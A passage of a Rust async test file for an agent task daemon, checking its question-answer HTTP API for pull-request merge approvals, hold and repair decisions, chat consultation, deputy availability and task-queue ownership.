12182 head: "head".into(),
12183 });
12184 state.save_under(fx.home.path()).unwrap();
12185 fx.questions().put(&mut q).unwrap();
12186 let mut task = Task::new(
12187 "Owner".into(),
12188 "Original instruction".into(),
12189 state.repo.clone(),
12190 Source::Human,
12191 );
12192 task.runs = vec![state.id.clone(), "later-run".into()];
12193 fx.queue().put(&mut task).unwrap();
12194 let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
12195 let claim = fx.queue().claim(&task.id).unwrap();
12196 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12197 let path = format!("/api/questions/{}/answer", q.id);
12198 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12199 assert!(fx.questions().get(&q.id).unwrap().status.open());
12200 drop(claim);
12201 let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
12202 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12203 assert!(fx.questions().get(&q.id).unwrap().status.open());
12204 drop(publication);
12205 state.driver_exited = false;
12207 state.driver_pid = None;
12208 state.driver_claimed = None; state.save_under(fx.home.path()).unwrap();
12210 assert_eq!(
12211 state.liveness_under(fx.home.path(), false),
12212 crate::run::Liveness::Unknown
12213 );
12214
12215 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12216 state.driver_exited = true;
12217 state.land_armed_head = Some("head".into());
12218 state.save_under(fx.home.path()).unwrap();
12219 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12220 state.land_armed_head = None;
12221 state.save_under(fx.home.path()).unwrap();
12222 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12223 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12224 assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
12225 }
12226
12227 #[tokio::test]
12228 async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
12229 let fx = Fixture::start().await;
12230 let mut state = obsolete_approval_state();
12231 state.status = RunStatus::Landing;
12232 state.driver_exited = true;
12233 let mut q = Question::new(
12234 state.id.clone(),
12235 crate::land::APPROVAL_NODE.into(),
12236 "land".into(),
12237 "Obsolete approval".into(),
12238 String::new(),
12239 vec!["merge".into(), "hold".into()],
12240 );
12241 state.land_approval = Some(crate::run::LandApproval {
12242 question: q.id.clone(),
12243 head: "head".into(),
12244 });
12245 state.save_under(fx.home.path()).unwrap();
12246 fx.questions().put(&mut q).unwrap();
12247 let mut task = Task::new(
12248 "Owner".into(),
12249 "Original instruction".into(),
12250 state.repo.clone(),
12251 Source::Human,
12252 );
12253 task.runs.push(state.id.clone());
12254 task.status = TaskStatus::Parked;
12255 fx.queue().put(&mut task).unwrap();
12256 state.merge_decision = Some(crate::merge_decision::Decision {
12259 question: q.id.clone(),
12260 target: crate::merge_decision::Target {
12261 pr: state.pr.as_ref().unwrap().url.clone(),
12262 head: "head".into(),
12263 language: "ja".into(),
12264 },
12265 choice: crate::merge_decision::DISMISS.into(),
12266 closed: false,
12267 replacement_run: None,
12268 replacement_pr: None,
12269 });
12270 state.status = RunStatus::Superseded;
12271 state.save_under(fx.home.path()).unwrap();
12272 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12273 let path = format!("/api/questions/{}/answer", q.id);
12274 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12275 let done = fx.queue().get(&task.id).unwrap();
12276 assert_eq!(done.status, TaskStatus::Done);
12277 assert_eq!(done.runs, task.runs);
12278 assert_eq!(done.instruction, task.instruction);
12279 assert!(done.action_applied(&q.id));
12280 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12281 assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
12282 assert!(!fx.questions().get(&q.id).unwrap().status.open());
12283 }
12284
12285 #[tokio::test]
12286 async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
12287 let home = TempDir::new().unwrap();
12288 let ui = Arc::new(Ui::new(
12289 Queue::at(home.path().join("queue")),
12290 Questions::at(home.path().join("questions")),
12291 Talks::at(home.path().join("talks")),
12292 home.path().join("runs"),
12293 home.path().to_owned(),
12294 home.path().to_owned(),
12295 ));
12296 let talks = &ui.talks;
12297 let chat =
12298 talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
12299 let mut q = Question::new(
12300 "run".into(),
12301 crate::land::APPROVAL_NODE.into(),
12302 "land".into(),
12303 "Merge?".into(),
12304 String::new(),
12305 vec!["merge".into(), "hold".into()],
12306 );
12307 q.routed_task = Some("task".into());
12308 q.routed_chat = Some(chat.id.clone());
12309 q.merge_target = Some(crate::merge_decision::Target {
12310 pr: "https://example.test/pull/1".into(),
12311 head: "head-a".into(),
12312 language: "en".into(),
12313 });
12314 ui.questions.put(&mut q).unwrap();
12315 let send = |body| {
12316 question_answer(
12317 State(ui.clone()),
12318 Path(q.id.clone()),
12319 Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
12320 )
12321 };
12322 let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
12323 assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
12324 let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
12325 assert!(send(wrong_chat).await.is_err());
12326 let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
12327 assert!(send(stale).await.is_err());
12328 assert!(ui.questions.get(&q.id).unwrap().status.open());
12329 assert!(send(button.clone()).await.is_ok());
12330 assert_eq!(
12331 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12332 Some("merge")
12333 );
12334 assert!(send(button).await.is_err());
12335 }
12336
12337 #[tokio::test]
12338 async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
12339 let home = TempDir::new().unwrap();
12340 let ui = Arc::new(Ui::new(
12341 Queue::at(home.path().join("queue")),
12342 Questions::at(home.path().join("questions")),
12343 Talks::at(home.path().join("talks")),
12344 home.path().join("runs"),
12345 home.path().to_owned(),
12346 home.path().to_owned(),
12347 ));
12348 for choice in [crate::land::APPROVE, crate::land::HOLD] {
12349 let mut q = Question::new(
12350 "run".into(),
12351 crate::land::APPROVAL_NODE.into(),
12352 "land".into(),
12353 "Merge?".into(),
12354 String::new(),
12355 vec!["merge".into(), choice.into()],
12356 );
12357 q.routed_task = Some("task".into());
12358 q.merge_target = Some(crate::merge_decision::Target {
12359 pr: "https://example.test/pull/1".into(),
12360 head: "head-a".into(),
12361 language: "en".into(),
12362 });
12363 ui.questions.put(&mut q).unwrap();
12364 let answer = |c: &str| {
12365 question_answer(
12366 State(ui.clone()),
12367 Path(q.id.clone()),
12368 Ok(Json(
12369 serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
12370 .unwrap(),
12371 )),
12372 )
12373 };
12374 let _ = answer(choice).await.unwrap();
12375 assert_eq!(
12376 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12377 Some(choice)
12378 );
12379 }
12380 }
12381
12382 #[tokio::test]
12383 async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
12384 let home = TempDir::new().unwrap();
12385 let ui = Arc::new(Ui::new(
12386 Queue::at(home.path().join("queue")),
12387 Questions::at(home.path().join("questions")),
12388 Talks::at(home.path().join("talks")),
12389 home.path().join("runs"),
12390 home.path().to_owned(),
12391 home.path().to_owned(),
12392 ));
12393 let mut q = Question::new(
12394 "run".into(),
12395 crate::github_text::ASK_NODE.into(),
12396 "posting-gate".into(),
12397 "Post?".into(),
12398 String::new(),
12399 vec!["use fallback".into()],
12400 );
12401 q.routed_task = Some("task".into());
12402 ui.questions.put(&mut q).unwrap();
12403 let sent = question_answer(
12404 State(ui.clone()),
12405 Path(q.id.clone()),
12406 Ok(Json(
12407 serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
12408 .unwrap(),
12409 )),
12410 )
12411 .await;
12412 let _ = sent.unwrap();
12413 assert_eq!(
12414 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12415 Some("use fallback")
12416 );
12417 }
12418
12419 #[tokio::test]
12420 async fn merge_decision_api_persists_exact_target_and_selected_action() {
12421 let fx = Fixture {
12422 home: TempDir::new().unwrap(),
12423 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12424 };
12425 for choice in [
12426 crate::land::HOLD,
12427 crate::land::REPAIR,
12428 crate::land::APPROVE,
12429 crate::merge_decision::WITHDRAW,
12430 "reimplement:beta",
12431 ] {
12432 let mut q = Question::new(
12433 "old-run".into(),
12434 crate::land::APPROVAL_NODE.into(),
12435 "land".into(),
12436 "Decision".into(),
12437 "Review findings".into(),
12438 vec![
12439 "merge".into(),
12440 "hold".into(),
12441 crate::land::REPAIR.into(),
12442 crate::merge_decision::WITHDRAW.into(),
12443 "reimplement:beta".into(),
12444 ],
12445 );
12446 q.merge_target = Some(crate::merge_decision::Target {
12447 pr: "https://github.com/example/repo/pull/42".into(),
12448 head: "exact-reviewed-head".into(),
12449 language: "ja".into(),
12450 });
12451 q.consult = Some(ask::ChatConsult {
12452 talk: "another-conversation".into(),
12453 at: jiff::Timestamp::now(),
12454 });
12455 fx.questions().put(&mut q).unwrap();
12456 let ui = Arc::new(Ui::new(
12457 fx.queue(),
12458 fx.questions(),
12459 fx.talks(),
12460 fx.runs(),
12461 fx.home.path().into(),
12462 std::path::PathBuf::from("."),
12463 ));
12464 let response = question_answer(
12465 State(ui.clone()),
12466 Path(q.id.clone()),
12467 Ok(Json(NewAnswer {
12468 choice: Some(choice.into()),
12469 text: None,
12470 ..Default::default()
12471 })),
12472 )
12473 .await
12474 .unwrap();
12475 assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
12476 let disk = fx.questions().get(&q.id).unwrap();
12477 assert_eq!(disk.merge_target, q.merge_target);
12478 assert_eq!(disk.consult, q.consult);
12479 assert_eq!(disk.resolution().as_deref(), Some(choice));
12480 assert!(
12481 question_answer(
12482 State(ui),
12483 Path(q.id.clone()),
12484 Ok(Json(NewAnswer {
12485 choice: Some("merge".into()),
12486 text: None,
12487 ..Default::default()
12488 }))
12489 )
12490 .await
12491 .is_err(),
12492 "an already settled decision cannot turn into merge approval"
12493 );
12494 }
12495 }
12496
12497 #[tokio::test]
12498 async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
12499 let fx = Fixture {
12500 home: TempDir::new().unwrap(),
12501 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12502 };
12503 let mut state = crate::land::tests::repair_state(true, true);
12504 state.status = RunStatus::Landing;
12505 state.parked = true;
12506 state.driver_exited = true;
12507 let mut task = Task::new(
12508 "Existing PR owner".into(),
12509 state.instruction.clone(),
12510 state.repo.clone(),
12511 Source::Human,
12512 );
12513 task.runs.push(state.id.clone());
12514 task.status = TaskStatus::Parked;
12515 fx.queue().put(&mut task).unwrap();
12516 let mut q = Question::new(
12517 state.id.clone(),
12518 crate::land::APPROVAL_NODE.into(),
12519 "land".into(),
12520 "Contested merge".into(),
12521 "Original evidence".into(),
12522 vec!["merge".into(), "hold".into()],
12523 );
12524 state.land_approval = Some(crate::run::LandApproval {
12525 question: q.id.clone(),
12526 head: "reviewed-head".into(),
12527 });
12528 state.save_under(fx.home.path()).unwrap();
12529 fx.questions().put(&mut q).unwrap();
12530 task.hold_manual(Some("Pause this PR".into()));
12532 fx.queue().put(&mut task).unwrap();
12533 let ui = Arc::new(Ui::new(
12536 fx.queue(),
12537 fx.questions(),
12538 fx.talks(),
12539 fx.runs(),
12540 fx.home.path().to_path_buf(),
12541 state.repo.clone(),
12542 ));
12543 let response = question_answer(
12544 State(ui),
12545 Path(q.id.clone()),
12546 Ok(Json(NewAnswer {
12547 choice: Some(crate::land::REPAIR.into()),
12548 text: None,
12549 ..Default::default()
12550 })),
12551 )
12552 .await
12553 .unwrap();
12554 assert_eq!(response.0.question.id, q.id);
12555 let upgraded = fx.questions().get(&q.id).unwrap();
12556 assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
12557 assert!(upgraded.detail.starts_with("Original evidence"));
12558 let claim = fx.queue().claim(&task.id).unwrap();
12559 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12560 assert!(
12561 fx.queue().get(&task.id).unwrap().resume_override.is_none(),
12562 "an existing driver keeps its claim"
12563 );
12564 drop(claim);
12565 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12566 let resumed = fx.queue().get(&task.id).unwrap();
12567 assert_eq!(
12568 resumed
12569 .resume_override
12570 .as_ref()
12571 .unwrap()
12572 .pinned_run
12573 .as_deref(),
12574 Some(state.id.as_str())
12575 );
12576 assert!(resumed.status.runnable());
12577 assert_eq!(resumed.instruction, task.instruction);
12578 assert_eq!(resumed.runs, task.runs);
12579 assert!(resumed.action_applied(&q.id));
12580 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12581 assert_eq!(fx.queue().list().len(), 1);
12582 assert_eq!(
12583 fx.queue().get(&task.id).unwrap().resume_override,
12584 resumed.resume_override
12585 );
12586 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12587 assert!(
12588 disk.merge_repairs.is_empty(),
12589 "only the claimed run driver may execute repair"
12590 );
12591 assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
12592 }
12593
12594 #[tokio::test]
12595 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
12596 let fx = Fixture::start().await;
12597 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12598 let path = format!("/api/questions/{id}/answer");
12599
12600 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
12601 assert_eq!(res.status, 200, "{}", res.body);
12602 let body = res.json();
12603 assert_eq!(body["status"], "answered");
12604 assert_eq!(body["answer"]["choice"], "Redis");
12605
12606 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
12610 assert_eq!(again.status, 409, "{}", again.body);
12611 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12612 }
12613
12614 #[tokio::test]
12615 async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
12616 let home = tempfile::tempdir().unwrap();
12617 let ui = delta_test_ui(home.path());
12618 let mut q = Question::new(
12619 "task".into(),
12620 crate::land::APPROVAL_NODE.into(),
12621 "land".into(),
12622 "Explain?".into(),
12623 String::new(),
12624 vec!["hold".into()],
12625 );
12626 q.deputy = Some(ask::Deputy::new("context".into()));
12627 ui.questions.put(&mut q).unwrap();
12628 let mut cfg = stub_config();
12629 cfg.daemon.max_deputies = 0;
12630 let mut status = crate::daemon::Status::new();
12631 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12632 crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
12633 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12634 let error = question_say(
12635 State(ui.clone()),
12636 Path(q.id.clone()),
12637 Ok(Json(NewSay {
12638 body: "Explain the findings".into(),
12639 })),
12640 )
12641 .await
12642 .unwrap_err();
12643 assert_eq!(
12644 error.text_reason,
12645 Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
12646 );
12647 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12648
12649 let mut text = Question::new(
12650 "task".into(),
12651 "ask".into(),
12652 "operator".into(),
12653 "Which name?".into(),
12654 String::new(),
12655 vec![],
12656 );
12657 ui.questions.put(&mut text).unwrap();
12658 let Json(view) = question_answer(
12659 State(ui.clone()),
12660 Path(text.id.clone()),
12661 Ok(Json(NewAnswer {
12662 choice: None,
12663 text: Some("chosen name".into()),
12664 ..Default::default()
12665 })),
12666 )
12667 .await
12668 .unwrap();
12669 assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
12670 assert!(!ui.questions.get(&text.id).unwrap().status.open());
12671 }
12672
12673 #[tokio::test]
12674 async fn question_text_handler_admission_without_transport() {
12675 let home = tempfile::tempdir().unwrap();
12676 let ui = delta_test_ui(home.path());
12677 let mut q = Question::new(
12678 "task".into(),
12679 crate::land::APPROVAL_NODE.into(),
12680 "land".into(),
12681 "May this PR merge?".into(),
12682 String::new(),
12683 vec!["hold".into()],
12684 );
12685 q.deputy = Some(ask::Deputy::new("reviewed head".into()));
12686 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12687 ui.questions.put(&mut q).unwrap();
12688 let say = || {
12689 Ok(Json(NewSay {
12690 body: "Explain the findings".into(),
12691 }))
12692 };
12693 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12694 .await
12695 .unwrap_err();
12696 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12697 let response = rejected.into_response();
12698 let body = axum::body::to_bytes(response.into_body(), usize::MAX)
12699 .await
12700 .unwrap();
12701 let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
12702 assert_eq!(body["code"], "question_text_unavailable");
12703 assert_eq!(body["reason"], "deputy_exhausted");
12704 assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
12705 assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
12706 ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
12707 let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
12708 .await
12709 .unwrap();
12710 assert_eq!(view.text_delivery.state, "live");
12711 assert!(view.question.waiter.is_none());
12712 assert!(view.question.cwd.is_none());
12713 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12714 ui.questions.drop_lease(&q.id);
12715 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12716 .await
12717 .unwrap_err();
12718 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12719 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12720 let _ = question_answer(
12721 State(ui.clone()),
12722 Path(q.id.clone()),
12723 Ok(Json(NewAnswer {
12724 choice: Some("hold".into()),
12725 text: None,
12726 ..Default::default()
12727 })),
12728 )
12729 .await
12730 .unwrap();
12731 assert_eq!(
12732 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12733 Some("hold")
12734 );
12735 }
12736
12737 #[tokio::test]
12738 async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
12739 let fx = Fixture::start().await;
12740 let store = fx.questions();
12741 let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
12742 store
12743 .update(&id, |q| {
12744 q.node = crate::land::APPROVAL_NODE.to_owned();
12745 q.deputy = Some(ask::Deputy::new("approval".to_owned()));
12746 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12747 Ok(())
12748 })
12749 .unwrap();
12750 let path = format!("/api/questions/{id}/say");
12751 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12752 assert_eq!(refused.status, 422, "{}", refused.body);
12753 assert!(
12754 refused.json()["error"]
12755 .as_str()
12756 .unwrap()
12757 .contains("deputy_exhausted")
12758 );
12759 assert!(store.get(&id).unwrap().thread.is_empty());
12760
12761 store.beat(&id, ask::WaiterKind::Deputy);
12763 let view = fx.get("/api/questions").await.json();
12764 assert_eq!(view[0]["text_delivery"]["state"], "live");
12765 let accepted = fx
12766 .post(&path, Some(r#"{"body":"explain the findings"}"#))
12767 .await;
12768 assert_eq!(accepted.status, 200, "{}", accepted.body);
12769 let before = std::fs::read(store.path_of(&id)).unwrap();
12770
12771 store.drop_lease(&id);
12774 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12775 assert_eq!(refused.status, 422, "{}", refused.body);
12776 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12777 let held = fx
12778 .post(
12779 &format!("/api/questions/{id}/answer"),
12780 Some(r#"{"choice":"hold"}"#),
12781 )
12782 .await;
12783 assert_eq!(held.status, 200, "{}", held.body);
12784 assert_eq!(store.get(&id).unwrap().thread.len(), 1);
12785 }
12786
12787 #[tokio::test]
12788 async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
12789 let repo = tempfile::tempdir().unwrap();
12790 let mut cfg = stub_config();
12791 cfg.daemon.max_deputies = 0;
12792 std::fs::write(
12793 repo.path().join("magi.toml"),
12794 toml::to_string(&cfg).unwrap(),
12795 )
12796 .unwrap();
12797 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12798 let mut status = crate::daemon::Status::new();
12799 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12800 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
12801 let id = ask(&fx, "Explain?", &["hold"]);
12802 fx.questions()
12803 .update(&id, |q| {
12804 q.node = crate::land::APPROVAL_NODE.into();
12805 q.deputy = Some(ask::Deputy::new("context".into()));
12806 q.deputy.as_mut().unwrap().agent = "stub".into();
12807 Ok(())
12808 })
12809 .unwrap();
12810 cfg.daemon.max_deputies = 1;
12811 std::fs::write(
12812 repo.path().join("magi.toml"),
12813 toml::to_string(&cfg).unwrap(),
12814 )
12815 .unwrap();
12816 let view = fx.get("/api/questions").await.json();
12817 assert_eq!(view[0]["deputies_enabled"], true);
12818 assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
12819 let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
12820 let res = fx
12821 .post(
12822 &format!("/api/questions/{id}/say"),
12823 Some(r#"{"body":"Please explain"}"#),
12824 )
12825 .await;
12826 assert_eq!(res.status, 422, "{}", res.body);
12827 assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
12828 }
12829
12830 #[tokio::test]
12831 async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
12832 let fx = Fixture::start().await;
12833 let id = ask(&fx, "No seat", &[]);
12834 let store = fx.questions();
12835 let before = std::fs::read(store.path_of(&id)).unwrap();
12836 let res = fx
12837 .post(
12838 &format!("/api/questions/{id}/say"),
12839 Some(r#"{"body":"hello"}"#),
12840 )
12841 .await;
12842 assert_eq!(res.status, 422, "{}", res.body);
12843 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12844 let res = fx
12845 .post(
12846 &format!("/api/questions/{id}/answer"),
12847 Some(r#"{"text":"hello"}"#),
12848 )
12849 .await;
12850 assert_eq!(res.status, 200, "{}", res.body);
12851 assert_eq!(
12852 store.get(&id).unwrap().resolution().as_deref(),
12853 Some("hello")
12854 );
12855 }
12856
12857 #[tokio::test]
12858 async fn saying_something_appends_a_turn_without_answering() {
12859 let fx = Fixture::start().await;
12860 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12861 fx.questions().beat(&id, ask::WaiterKind::Asker);
12862 let path = format!("/api/questions/{id}/say");
12863
12864 let res = fx
12865 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
12866 .await;
12867 assert_eq!(res.status, 200, "{}", res.body);
12868 let body = res.json();
12869 assert_eq!(body["status"], "open", "talking back is not a decision");
12870 assert_eq!(body["answer"], Value::Null);
12871 assert_eq!(body["thread"][0]["who"], "operator");
12872 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
12873 assert_eq!(body["waiting_on_agent"], true);
12874 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12876 }
12877
12878 #[tokio::test]
12879 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
12880 let fx = Fixture::start().await;
12881 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12882
12883 let list = fx.get("/api/questions").await.json();
12884 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
12885
12886 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
12887 assert_eq!(res.status, 409, "{}", res.body);
12888 let q = fx.questions().get(&id).unwrap();
12889 assert!(q.status.open());
12890 assert!(q.consult.is_none());
12891 }
12892
12893 #[tokio::test]
12894 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
12895 let fx = Fixture::start().await;
12896 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12897 let cfg = Config {
12898 agents: vec![crate::config::AgentSpec {
12899 id: "mock".to_owned(),
12900 kind: crate::config::AgentKind::Command,
12901 model: None,
12902 command: vec!["true".to_owned()],
12903 extra_args: Vec::new(),
12904 env: Default::default(),
12905 prompt_delivery: None,
12906 max_turn_secs: None,
12907 }],
12908 ..Config::default()
12909 };
12910 let talk = crate::talk::begin(
12911 &fx.talks(),
12912 &cfg,
12913 fx.home.path().to_path_buf(),
12914 Some("mock"),
12915 )
12916 .unwrap();
12917 let mut task = Task::new(
12918 "t".to_owned(),
12919 "Do it".to_owned(),
12920 PathBuf::from("/repo/magi"),
12921 Source::Agent {
12922 run: talk.id.clone(),
12923 node: crate::queue::CHAT_NODE.to_owned(),
12924 },
12925 );
12926 task.start("20260902-000000-beef".to_owned());
12927 fx.queue().put(&mut task).unwrap();
12928
12929 let list = fx.get("/api/questions").await.json();
12930 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12931 assert_eq!(
12932 list[0]["choices"],
12933 serde_json::json!(["SQLite", "Redis"]),
12934 "the hand-over is never a choice"
12935 );
12936 fx.questions()
12937 .update(&id, |q| {
12938 q.node = crate::land::APPROVAL_NODE.into();
12939 q.choices = vec!["merge".into(), "hold".into()];
12940 Ok(())
12941 })
12942 .unwrap();
12943 let list = fx.get("/api/questions").await.json();
12944 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12945 assert_eq!(list[0]["can_consult_chat"], true);
12946 fx.questions()
12947 .update(&id, |q| {
12948 q.node = crate::bump::NOTICE_NODE.into();
12949 Ok(())
12950 })
12951 .unwrap();
12952 let list = fx.get("/api/questions").await.json();
12953 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12954 assert_eq!(list[0]["can_consult_chat"], false);
12955 }
12956
12957 #[tokio::test]
12958 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
12959 let fx = Fixture::start().await;
12960 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12961 fx.questions()
12962 .update(&id, |q| {
12963 q.node = crate::land::APPROVAL_NODE.into();
12964 q.choices = vec!["merge".into(), "hold".into()];
12965 Ok(())
12966 })
12967 .unwrap();
12968 let cfg = Config {
12969 agents: vec![crate::config::AgentSpec {
12970 id: "mock".to_owned(),
12971 kind: crate::config::AgentKind::Command,
12972 model: None,
12973 command: vec!["true".to_owned()],
12974 extra_args: Vec::new(),
12975 env: Default::default(),
12976 prompt_delivery: None,
12977 max_turn_secs: None,
12978 }],
12979 ..Config::default()
12980 };
12981 let repo = fx.home.path().join("chat-repo");
12983 std::fs::create_dir_all(&repo).unwrap();
12984 let toml = repo.join("magi.toml");
12985 std::fs::write(&toml, "this is = = not toml").unwrap();
12986 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
12987 let mut task = Task::new(
12988 "t".to_owned(),
12989 "Do it".to_owned(),
12990 PathBuf::from("/repo/magi"),
12991 Source::Agent {
12992 run: talk.id.clone(),
12993 node: crate::queue::CHAT_NODE.to_owned(),
12994 },
12995 );
12996 task.start("20260902-000000-beef".to_owned());
12997 fx.queue().put(&mut task).unwrap();
12998
12999 let path = format!("/api/questions/{id}/consult");
13000 let res = fx.post(&path, None).await;
13001 assert!(res.status >= 400, "{}", res.body);
13002 assert!(fx.questions().get(&id).unwrap().consult.is_none());
13003 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
13004
13005 std::fs::write(&toml, "").unwrap();
13006 let res = fx.post(&path, None).await;
13007 assert_eq!(res.status, 202, "{}", res.body);
13008 assert!(fx.questions().get(&id).unwrap().consult.is_some());
13009 let q = fx.questions().get(&id).unwrap();
13010 assert!(q.status.open());
13011 assert!(q.answer.is_none());
13012 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13013 assert_eq!(res.json()["can_consult_chat"], true);
13014 let list = fx.get("/api/questions").await.json();
13015 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13016 assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
13017
13018 let res = fx
13019 .post(
13020 &format!("/api/questions/{id}/answer"),
13021 Some(r#"{"choice":"hold"}"#),
13022 )
13023 .await;
13024 assert_eq!(res.status, 200, "{}", res.body);
13025 assert_eq!(res.json()["answer"]["choice"], "hold");
13026 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13027 assert_eq!(res.json()["can_consult_chat"], false);
13028 assert_eq!(fx.post(&path, None).await.status, 409);
13029
13030 let mut talk = fx.talks().get(&talk.id).unwrap();
13031 crate::talk::close(&mut talk, &fx.talks()).unwrap();
13032 let list = fx.get("/api/questions").await.json();
13033 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13034 assert_eq!(list[0]["origin_chat_closed"], true);
13035 assert_eq!(list[0]["can_consult_chat"], false);
13036
13037 fx.talks().remove(&talk.id).unwrap();
13038 let list = fx.get("/api/questions").await.json();
13039 assert_eq!(list[0]["origin_chat"], Value::Null);
13040 assert_eq!(list[0]["origin_chat_closed"], false);
13041 assert_eq!(list[0]["can_consult_chat"], false);
13042 }
13043
13044 #[tokio::test]
13045 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
13046 let fx = Fixture::start().await;
13047 let store = fx.questions();
13048 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13049 store.beat(&id, ask::WaiterKind::Asker);
13050 assert_eq!(
13051 fx.get("/api/health").await.json()["questions_needs_owner"],
13052 1
13053 );
13054
13055 let res = fx
13061 .post(
13062 &format!("/api/questions/{id}/say"),
13063 Some(r#"{"body":"why not Postgres?"}"#),
13064 )
13065 .await;
13066 assert_eq!(res.status, 200, "{}", res.body);
13067 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
